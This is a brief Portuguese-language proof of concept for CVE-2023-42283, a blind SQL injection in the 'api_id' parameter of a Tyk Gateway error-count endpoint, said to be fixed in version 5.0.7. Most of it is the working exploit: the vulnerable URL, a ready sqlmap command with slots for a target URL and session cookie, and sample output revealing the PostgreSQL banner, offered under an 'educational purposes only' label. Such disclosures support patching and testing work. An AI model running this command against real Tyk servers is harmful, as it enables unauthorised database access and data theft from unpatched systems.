
Prova de conceito para CVE-2023-42283 no Tyk Gateway
Apenas para fins educacionais!
Prova de conceito para CVE-2023-42283. Tyk Gateway é vulnerável a injeção SQL. Corrigido na versão 5.0.7.
O parâmetro de URL 'api_id' de "https://<YOUR_URL>/api/errors/count/...?res=day&p=...&api_version=...&api_id=<PAYLOAD_HERE>" é vulnerável a injeção SQL cega.
Use o sqlmap com os seguintes parâmetros:
python.exe .\sqlmap.py -u "https://<INSERT YOUR URL>/api/errors/count/11/8/2022/13/1/2022?res=day&p=-1&api_version=Non%20Versioned&api_id=1" -p "api_id" --cookie="<INSERT COOKIE HERE>" --banner
O banner do banco de dados SQL é retornado na resposta:
...
banner: Postgresql 13.01 on x86_64-pc-linux-gnu
...